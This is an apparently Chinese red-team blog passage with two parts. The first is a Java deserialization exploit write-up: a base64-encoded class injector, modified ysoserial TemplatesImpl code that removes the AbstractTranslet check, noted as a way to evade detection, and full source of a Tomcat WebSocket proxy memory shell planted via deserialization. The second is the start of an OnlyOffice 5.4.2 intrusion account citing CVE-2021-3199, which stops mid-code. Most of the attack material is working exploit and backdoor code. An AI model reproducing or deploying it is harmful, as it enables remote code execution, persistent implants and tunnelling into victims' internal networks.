b = new BASE64Decoder().decodeBuffer("yv66vgAAADQBBwoAPQCRCQA3AJIHAJMKAAMAkQkANwCUBwCVCgAGAJEJADcAlgkANwCXCgA7AJgKADsAmQoAOQCaCgA7AJsKAAMAnAoAAwCdCgA7AJ4JADcAnwsAoAChCwCgAKILAKMApAkANwClCgA3AKYHAKcJADcAqAoANwCpAwAAw1AKADsAqgoAHwCrCwCgAKwKAAYArQcArgoAHwCvCwCwALEKADsAsgcAswoAOwC0CgAjALUIALYKACMAtwgAuAoAHwC5CgA5ALoHALsKACsAvAoAHwC9BQAAAAAAAAAKCQC+AL8LALAAwAgAwQsAowDCCgAGAMMIAMQLAKAAxQcAxgoANwDHBwDICgA3AMkHAMoKADcAywcAzAcAzQcAzwEAAWkBAAFKAQAHc2Vzc2lvbgEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAZjbGllbnQBAC1MamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDsBAAdjaGFubmVsAQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEYmFvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANtYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJU2lnbmF0dXJlAQBUTGphdmEvdXRpbC9IYXNoTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOz47AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MUHJveHlFbmRwb2ludDsBAAljb21wbGV0ZWQBACUoTGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50OylWAQADYXJyAQACW0IBAAFiAQABcQEABnJlc3VsdAEAE0xqYXZhL2xhbmcvSW50ZWdlcjsBAAphdHRhY2htZW50AQANU3RhY2tNYXBUYWJsZQcAWQcAygcApwEABmZhaWxlZAEAJyhMamF2YS9sYW5nL1Rocm93YWJsZTtMUHJveHlFbmRwb2ludDspVgEAA2V4YwEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEACW9uTWVzc2FnZQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEACmJ5dGVCdWZmZXIBAA5yZWFkRnJvbVNlcnZlcgEASShMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7KVYBAAdwcm9jZXNzAQAxKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAZ2YWx1ZXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAVhcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlhZGRyYXJyYXkBAAJwbwEAAUkBAAtob3N0QWRkcmVzcwEAHExqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzczsBAAZmdXR1cmUBAB1MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAAXoBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L0Z1dHVyZTxMamF2YS9sYW5nL1ZvaWQ7PjsHAMYHANAHALMHAHMHAK4HALsHANEBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAZjb25maWcBACBMamF2YXgvd2Vic29ja2V0L0VuZHBvaW50Q29uZmlnOwEAKihMamF2YS9sYW5nL1Rocm93YWJsZTtMamF2YS9sYW5nL09iamVjdDspVgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABVdob2xlAQAMSW5uZXJDbGFzc2VzAQCgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50Oz47TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEMAE8AUAwAQABBAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAEkASgEAEWphdmEvdXRpbC9IYXNoTWFwDABLAEwMAEcASAwA0gDTDADUANUMANYA1wwA2ADZDADaANsMANwA3QwA3gDfDABGAEMHANAMAOAA1QwA4QDjBwDlDADmAGgMAEQARQwAagBrAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQgBDDABsAG0MAOcA6AwA6QDqDADrAOwMANgA7QEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMANoA7gcA0QwA2ADvDADwANMBABBqYXZhL2xhbmcvU3RyaW5nDAByAN0MAE8A8QEAASAMAPIA8wEAAToMAPQA9QwA9gD3AQAaamF2YS9uZXQvSW5ldFNvY2tldEFkZHJlc3MMAE8A+AwA+QD6BwD7DAD8AP0MANgA/gEAJEhUVFAvMS4xIDUwMyBTZXJ2aWNlIFVuYXZhaWxhYmxlDQoNCgwA/wEADAEBAQIBACdIVFRQLzEuMSAyMDAgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZA0KDQoMAQMBBAEADVByb3h5RW5kcG9pbnQMAGMAZAEAEWphdmEvbGFuZy9JbnRlZ2VyDABWAFcBABNqYXZhL25pby9CeXRlQnVmZmVyDABnAGgBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgcBBQEAJGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZQEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwEGAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEACGFsbG9jYXRlAQAYKEkpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEcmVhZAEATyhMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI7KVYBAAVnZXRJZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBADQoTGphdmEvbmlvL0J5dGVCdWZmZXI7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAUKClMamF2YS9sYW5nL09iamVjdDsBAARmbGlwAQAFKFtCKVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABG9wZW4BAC8oKUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEAB2Nvbm5lY3QBADcoTGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAdamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQBAAdTRUNPTkRTAQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEANChKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OylMamF2YS9sYW5nL09iamVjdDsBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtM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");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}

} catch (Exception e){
}

步骤2 反序列化codefile不继承AbstractTranslet

为什么不继承AbstractTranslet代码执行会失败?
部分gadget通过调用getter方法能够调用到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

getOutputProperties->newTransformer->getTransletInstance,在getTransletInstance中调用了defineTransletClasses方法来生成一个类然后实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,通过loader.defineClass(_bytecodes[i]);生成了类后,回到getTransletInstance方法后实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);
观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。

private transient Map<String, Class<?>> _auxClasses = null;

再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。

另外还存在一个_transletIndex < 0时,就会抛出异常中断的限制,_transletIndex默认为-1。 在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。

1
2
3
4
5
6
7
private int _transletIndex = -1;


private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
_transletIndex = gf.get("_transletIndex", -1);

所以只要满足两个条件即可实现去除AbstractTranslet
1、classCount也就是生成类的数量大于1
2、_transletIndex >= 0

在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。

1
2
3
4
5
6
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();

再回到原始ysoserial的createTemplatesImpl方法中,可以发现 ysoserial在设置templates的_bytecodes属性时确实传了两个类的bytes进去。但是在之前缩短payload的浪潮中,我移除了Foo.class。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

还原Foo.class后再加上_transletIndex即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
System.out.println(command);
System.err.println("Java File Mode:"+ Arrays.toString(classBytes));
}


Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

Codefile 不继承AbstractTranslet

1
2
3
4
5
6
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

依然实现了代码执行

在解决了AbstractTranslet的问题之后,反序列化的codefile就可以直接继承Endpoint了,同时部分安全产品有检测AbstractTranslet关键字,去掉之后也许也能起一些作用。
最终反序列化中wsProxy的codefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import javax.servlet.ServletContext;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class Tomcat_add_wsProxy extends Endpoint implements CompletionHandler<Integer, Tomcat_add_wsProxy>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static HashSet<Object> h;
static ServletContext s;

private static boolean i(Object obj) {
if (obj != null && !h.contains(obj)) {
h.add(obj);
return false;
} else {
return true;
}
}

private void p(Object o, int depth) throws DeploymentException, DeploymentException {
if (depth <= 52 && s == null) {
if (!i(o)) {
if (s == null && ServletContext.class.isAssignableFrom(o.getClass())) {
s = (ServletContext)o;
String path = "/proxy";
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(this.getClass(), path).build();
ServerContainer container = (ServerContainer)s.getAttribute(ServerContainer.class.getName());
if (s.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
s.setAttribute(path, path);
}
}

this.F(o, depth + 1);
}

}
}

private void F(Object start, int depth) {
Class n = start.getClass();

do {
Field[] var4 = n.getDeclaredFields();
int var5 = var4.length;

for(int var6 = 0; var6 < var5; ++var6) {
Field declaredField = var4[var6];
declaredField.setAccessible(true);
Object o = null;

try {
o = declaredField.get(start);
if (!o.getClass().isArray()) {
this.p(o, depth);
} else {
Object[] var9 = (Object[])((Object[])o);
int var10 = var9.length;

for(int var11 = 0; var11 < var10; ++var11) {
Object q = var9[var11];
this.p(q, depth);
}
}
} catch (Exception var13) {
}
}
} while((n = n.getSuperclass()) != null);

}

public Tomcat_add_wsProxy() {
h = new HashSet();
this.F(Thread.currentThread(), 0);
}

@Override
public void completed(Integer result, Tomcat_add_wsProxy attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}

@Override
public void failed(Throwable exc, Tomcat_add_wsProxy attachment) {

}

@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}


void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);

this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}

从 NodeJS 代码审计到内网突破

概述

此实录起因是公司的一场红蓝对抗实战演习,首先通过内部自研资产平台通过分布式扫描对目标资产进行全端口指纹识别。在目标的一个IP资产开放了一个高端口Web服务,进一步通过指纹识别的方式发现是 OnlyOffice 服务。第一次遇到 OnlyOffice 服务(Express框架),后续整个渗透流程就是通过老洞到分析代码找到新利用方式,最终通过任意文件写新利用方式实现了RCE,突破进入内网。

老洞新用

资产收集找到了如图所示的资产,即使从来没碰到过,根据页面也能发现使用的是OnlyOffice。

扫描发现存在/index.html路由,直接拿到了目标的版本号,在dockerhub上找到了一样的版本onlyoffice/documentserver:5.4.2.46,5.4.2已经是3年前的版本了,很可能会存在一些老洞。

扫描发现存在/index.html路由,直接拿到了目标的版本号,在dockerhub上找到了一样的版本onlyoffice/documentserver:5.4.2.46,5.4.2已经是3年前的版本了,很可能会存在一些老洞。

搜索发现了存在多个老洞,https://github.com/moehw/poc_exploits,CVE-2021-3199是一个任意文件写漏洞,影响小于5.6.3的版本,并且还有POC https://github.com/moehw/poc_exploits/blob/master/CVE-2021-3199/poc_uploadImageFile.py
使用该POC验证我们的目标时,文件上传都无法成功。分析发现CVE-2021-3199 是利用的uploadImageFile方法,存在一定的限制。

1
2
3
4
5
6
var format = formatChecker.getImageFormat(buffer, undefined);
var formatStr = formatChecker.getStringFromFormat(format);

if (encrypted && PATTERN_ENCRYPTED === buffer.toString('utf8', 0, PATTERN_ENCRYPTED.length)) {
formatStr = buffer.toString('utf8', PATTERN_ENCRYPTED.length, buffer.indexOf(';', PATTERN_ENCRYPTED.length));
}

uploadImageFile方法中,formatStr变量来自于根据文件内容进行识别。如果encrypted为true,那么就会从post body中解析出formatStr,从而实现控制文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (cfgTokenEnableBrowser) {
let checkJwtRes = docsCoServer.checkJwtHeader(docId, req, 'Authorization', 'Bearer ', commonDefines.c_oAscSecretType.Session);
if (!checkJwtRes) {
//todo remove compatibility with previous versions
checkJwtRes = docsCoServer.checkJwt(docId, req.query['token'], commonDefines.c_oAscSecretType.Session);
}
let transformedRes = checkJwtUploadTransformRes(docId, 'uploadImageFile', checkJwtRes);
if (!transformedRes.err) {
docId = transformedRes.docId || docId;
encrypted = transformedRes.encrypted;
} else {
isValidJwt = false;
}
}

而encrypted需要配置了cfgTokenEnableBrowser,”Directory traversal with Remote Code Execution when JWT is used in Document Server before 5.6.3”,需要配置了JWT时才能利用,Docker环境默认未启用,目标也未启用。
其他的老洞没POC,只能下一份5.4.2.46版本的代码,分析是否存在其他的利用了。
DocService/sources/server.js 存在一个savefile路由,看到这名字就能猜到是文件上传相关的路由

app.post('/savefile/:docid', rawFileParser, canvasService.saveFile);

路由方法具体实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
